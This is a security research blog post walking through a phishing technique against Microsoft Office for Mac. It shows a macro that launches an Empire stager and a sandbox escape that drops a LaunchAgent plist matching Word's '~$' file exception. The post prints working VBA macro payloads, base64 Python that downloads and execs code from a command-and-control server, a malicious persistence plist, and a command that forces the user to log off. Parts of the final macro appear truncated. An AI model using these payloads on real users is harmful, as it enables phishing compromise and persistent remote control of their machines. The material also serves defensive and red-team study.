Escaping the Sandbox – Microsoft Office on MacOS

You’ve completed your recon, and found that your target is using MacOS… what next? With the increased  popularity of MacOS in the enterprise, we are often finding that having phishing payloads targeting only Microsoft Windows endpoints is not enough during a typical engagement.

With this in mind, I wanted to find an effective method of landing a stager on a MacOS system during a phishing campaign. In this walkthrough, I will show one possible way we can go about gaining a foothold by leveraging Microsoft Office on MacOS, and present a method of escaping the MacOS sandbox that we find ourselves trapped inside of.

Empire Framework

Empire is a powerful open source C2 framework originally purposed against Windows environments by leveraging PowerShell. Now with the merge of the separate Empyre project, Empire is quickly becoming a goto tool for handling MacOS endpoints as well. Exploring the current MacOS stagers on offer from the framework, we see the typical selection of binary payloads, AppleScript, and Office Macros which you would come to expect from this kind of project.

As we know, adversaries regularly use Macro payloads to target Microsoft Office users on Windows. We know it works, so it makes sense for us to use this same technique to target MacOS users during an engagement. Before I started playing around with the MacOS Macro stager, I wanted to see just how this functions under the hood. As the project is open source, we can review the history of the stager on Github. What caught my attention was this update to the stager from @import-au on 1st March 2018:

This small modification actually changes the way that the VBA payload is generated to incorporate changes made to the language in later versions of Office. Put simply, the Macro references an external library of libc.dylib, allowing us to execute system commands via the “popen” function. If we generate a stager using Empire, we end up with something that looks like this:

Private Declare PtrSafe Function system Lib “libc.dylib” Alias “popen” (ByVal command As String, ByVal mode As String) As LongPtr
Sub Auto_Open()
End Sub
Sub Document_Open()
End Sub
Public Function Debugging() As Variant
On Error Resume Next
#If Mac Then
Dim result As LongPtr
Dim cmd As String
cmd = “aW1wb3J0IHN5cztpbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS”
cmd = cmd + “4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy”
cmd = cmd + “4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dH”
cmd = cmd + “A6Ly8xMjcuMC4wLjE6ODA4MCc7dD0nL25ld3MucGhwJztyZX”
cmd = cmd + “E9dXJsbGliMi5SZXF1ZXN0KHNlcnZlcit0KTsKcmVxLmFkZF”
cmd = cmd + “9oZWFkZXIoJ1VzZXItQWdlbnQnLFVBKTsKcmVxLmFkZF9oZW”
cmd = cmd + “FkZXIoJ0Nvb2tpZScsInNlc3Npb249L0Y0V3BmZllPSnNXOG”
cmd = cmd + “JuVGRWYVc5b3d1NGxFPSIpOwpwcm94eSA9IHVybGxpYjIuUH”
cmd = cmd + “JveHlIYW5kbGVyKCk7Cm8gPSB1cmxsaWIyLmJ1aWxkX29wZW”
cmd = cmd + “5lcihwcm94eSk7CnVybGxpYjIuaW5zdGFsbF9vcGVuZXIoby”
cmd = cmd + “k7CmE9dXJsbGliMi51cmxvcGVuKHJlcSkucmVhZCgpOwpJVj”
cmd = cmd + “1hWzA6NF07ZGF0YT1hWzQ6XTtrZXk9SVYrJ0F0eihdKUVhbk”
cmd = cmd + “9UajE5b2Jfa20zTWg+KzZ2TkxRfXMlJztTLGosb3V0PXJhbm”
cmd = cmd + “dlKDI1NiksMCxbXQpmb3IgaSBpbiByYW5nZSgyNTYpOgogIC”
cmd = cmd + “Agaj0oaitTW2ldK29yZChrZXlbaSVsZW4oa2V5KV0pKSUyNT”
cmd = cmd + “YKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KaT1qPTAKZm9yIG”
cmd = cmd + “NoYXIgaW4gZGF0YToKICAgIGk9KGkrMSklMjU2CiAgICBqPS”
cmd = cmd + “hqK1NbaV0pJTI1NgogICAgU1tpXSxTW2pdPVNbal0sU1tpXQ”
cmd = cmd + “ogICAgb3V0LmFwcGVuZChjaHIob3JkKGNoYXIpXlNbKFNbaV”
cmd = cmd + “0rU1tqXSklMjU2XSkpCmV4ZWMoJycuam9pbihvdXQpKQ==”
‘MsgBox(“echo “”import sys,base64;exec(base64.b64decode(\”” ” & cmd & ” \””));”” | /usr/bin/python &”)
result = system(“echo “”import sys,base64;exec(base64.b64decode(\”” ” & cmd & ” \””));”” | /usr/bin/python &”, “r”)
#End If
End Function

A lot of the magic happens within the initial “Private Declare PtrSafe Function” call. To understand just what is happening at an API level, let’s modify the statement slightly to:

Private Declare PtrSafe Function system Lib “libnope.dylib” Alias “doesntexist” (ByVal command As String, ByVal mode As String) As LongPtr

Attaching a debugger to a running instance of Word, and setting a few breakpoints on common dynamic linker API functions, we execute our Macro and see the following:

So here we see our requested dylib is actually being loaded via a “dlopen()” call. This immediately shows us 2 things, firstly, the execution of VBA is taking place within the “Microsoft Word” process rather than being offloaded to another process or service. Secondly, any actions made by VBA during our Macro execution will be subject to the same restrictions as the Microsoft Word process.

Now that we understand just what is happening, let’s launch our Empire stager using the libc.dylib popen function shown above:

Simple enough… however after interacting with the agent, you may notice that things aren’t quite right:

So whilst we can operate in this environment, it becomes extremely restrictive. With this in mind and a can of Redbull (other energy drinks also available), I decided to take a look at what was happening and see if we can do anything to bypass these restrictions.

MacOS Sandbox

For anyone who has spent a bit of time working on MacOS, you will know that the error shown above is typical of an application restricted by the MacOS sandbox. If we list our processes, we see that our suspicion about Microsoft Word is confirmed:

Knowing this, we can take a look at the sandbox rules applied to the Microsoft Word application with the following command:

codesign –display -v –entitlements – /Applications/Microsoft\

Displayed are a number of requested entitlements, which allow Microsoft Word to access user selected files, act as a network client, access the address book etc:

Then, as we get closer to the end of the list, we see something a little bit strange:
(allow file-read* file-write*
(require-all (vnode-type REGULAR-FILE) (regex #”(^|/)~\$[^/]+$”))

This rule allows the Microsoft Word process to read/write a file as long as it matches the following regex


At first I couldn’t understand why this exception was here, however when crafting a filename matching this regex, it actually starts to make sense, for example ~$document1.docx. This is the typical filename format for temporary files used by Office, so what this rule is doing is allowing the process to persist temporary files without prompting the user for permission each time.

At this point alarm bells should be ringing, as although this rule allows Word to create a temporary file, it also allows us to create a file anywhere on the filesystem as long as it ends with “~$something”. Going back to our original sandboxed Empire agent and attempt to create a file using this format, we see that we are no longer greeted with the “Operation Not Permitted” error as we were before:

Now we have a chink in the sandbox armour, we need to find a way to use this to help escape this sandbox and gain an unrestricted agent session.

Launchd for escaping the sandbox

Launchd is essentially MacOS’s init daemon with a lot of additional functionality bolted on. You can see a number of services created via plist files within the following directories (courtesy of

For our purposes, what we are most interested in is a path accessible to our Word process, which will likely be ~/Library/LaunchAgents. As we know that we can now create files with matching a filename within this directory, how can we leverage this to escape the sandbox? Well, it turns out that launchd picks up any plist’s dropped within this directory when a user logs in. This means that all we need to do is craft a plist with a filename matching the sandbox regex, wait for a user to log in… and we should be able to escape the Word sandbox.

With this in mind, let’s create a simple job which will spawn an agent upon being started:

<?xml version=”1.0″ encoding=”UTF-8″?>

<!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” ““>

<plist version=”1.0″>
<string>import sys,base64,warnings;warnings.filterwarnings(‘ignore’);exec(base64.b64decode(‘aW1wb3J0IHN5cztpbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMjcuMC4wLjE6ODA4MCc7dD0nL2xvZ2luL3Byb2Nlc3MucGhwJztyZXE9dXJsbGliMi5SZXF1ZXN0KHNlcnZlcit0KTsKcmVxLmFkZF9oZWFkZXIoJ1VzZXItQWdlbnQnLFVBKTsKcmVxLmFkZF9oZWFkZXIoJ0Nvb2tpZScsInNlc3Npb249cWV1eW94SURrM1hzeTNGcW9adGlYV0h5U0FZPSIpOwpwcm94eSA9IHVybGxpYjIuUHJveHlIYW5kbGVyKCk7Cm8gPSB1cmxsaWIyLmJ1aWxkX29wZW5lcihwcm94eSk7CnVybGxpYjIuaW5zdGFsbF9vcGVuZXIobyk7CmE9dXJsbGliMi51cmxvcGVuKHJlcSkucmVhZCgpOwpJVj1hWzA6NF07ZGF0YT1hWzQ6XTtrZXk9SVYrJ0F0eihdKUVhbk9UajE5b2Jfa20zTWg+KzZ2TkxRfXMlJztTLGosb3V0PXJhbmdlKDI1NiksMCxbXQpmb3IgaSBpbiByYW5nZSgyNTYpOgogICAgaj0oaitTW2ldK29yZChrZXlbaSVsZW4oa2V5KV0pKSUyNTYKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KaT1qPTAKZm9yIGNoYXIgaW4gZGF0YToKICAgIGk9KGkrMSklMjU2CiAgICBqPShqK1NbaV0pJTI1NgogICAgU1tpXSxTW2pdPVNbal0sU1tpXQogICAgb3V0LmFwcGVuZChjaHIob3JkKGNoYXIpXlNbKFNbaV0rU1tqXSklMjU2XSkpCmV4ZWMoJycuam9pbihvdXQpKQ==’));</string>

I won’t go into the details, but essentially all this plist is doing, is launching python with our Empire stager upon being loaded.

Now we have our plist in place, all we need to do is wait for the user to logoff and log back on, and we are greeted with this:

If you are inpatient and want to force the user to logoff, you can actually do this from within the sandboxed environment using:

launchctl bootout gui/$UID

And there we have it, a nice bypass to the Microsoft Office on Mac sandbox. Of course you are free to offload the sandbox escape into your VBA, which will look like this:

Private Declare PtrSafe Function system Lib “libc.dylib” Alias “popen” (ByVal command As String, ByVal mode As String) As LongPtr

Private Sub Document_Open()
Dim path As String
Dim payload As String
payload = “import sys,base64,warnings;warnings.filterwarnings(‘ignore’);exec(base64.b64decode(‘aW1wb3J0IHN5cztpbXBvcnQgdXJsbGliMj” & _
“sKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdl” & _
“Y2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMjcuMC4wLjE6ODA4MCc7dD0nL2xvZ2luL3Byb2Nlc3MucGhwJztyZXE9dXJsbGliMi5SZ” & _
“2tpZScsInNlc3Npb249cWV1eW94SURrM1hzeTNGcW9adGlYV0h5U0FZPSIpOwpwcm94eSA9IHVybGxpYjIuUHJveHlIYW5k” & _
“bGVyKCk7Cm8gPSB1cmxsaWIyLmJ1aWxkX29wZW5lcihwcm94eSk7CnVybGxpYjIuaW5zdGFsbF9vcGVuZXIobyk7CmE9dX” & _
“JsbGliMi51cmxvcGVuKHJlcSkucmVhZCgpOwpJVj1hWzA6NF07ZGF0YT1hWzQ6XTtrZXk9SVYrJ0F0eihdKUVhbk9UajE5b2” & _
“Jfa20zTWg+KzZ2TkxRfXMlJztTLGosb3V0PXJhbmdlKDI1NiksMCxbXQpmb3IgaSBpbiByYW5nZSgyNTYpOgogICAgaj0oaitT” & _
“W2ldK29yZChrZXlbaSVsZW4oa2V5KV0pKSUyNTYKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KaT1qPTAKZm9yIGNoYXIg” & _
“aW4gZGF0YToKICAgIGk9KGkrMSklMjU2CiAgICBqPShqK1NbaV0pJTI1NgogICAgU1tpXSxTW2pdPVNbal0sU1tpXQogICA” & _
path = Environ(“HOME”) & “/../../../../Library/LaunchAgents/~$com.xpnsec.plist”
arg = “<?xml version=””1.0″” encoding=””UTF-8″”?>\n” & _
“<!DOCTYPE plist PUBLIC “”-//Apple//DTD PLIST 1.0//EN”” “”””>\n” & _
“<plist version=””1.0″”>\n” & _
“<dict>\n” & _
“<key>Label</key>\n” & _
“<string>com.xpnsec.sandbox</string>\n” & _
“<key>ProgramArguments</key>\n” & _
“<array>\n” & _
“<string>python</string>\n” & _
“<string>-c</string>\n” & _
“<string>” & payload & “</string>” & _
“</array>\n” & _
“<key>RunAtLoad</key>\n” & _
“<true/>\n” & _
“</dict>\n” & _
Result = system(“echo “”” & arg & “”” > ‘” & path & “‘”, “r”)
‘Make sure this doesn’t raise alarms as it will force the user to logoff
‘Result = system(“launchctl bootout gui/$UID”, “r”)
End Sub

This technique was found to work with all of the Microsoft Office for Mac 2016 applications which support Macro functionality, as each shares the same entitlement. For example, below we can find an identical rule within Microsoft Excel:

If you can think of any other ways to leverage this technique to achieve a sandbox escape, we’d love to hear it.

This post and research was completed by Adam Chester of MDSec’s ActiveBreach team.

written by

MDSec Research

Ready to engage
with MDSec?

Copyright 2021 MDSec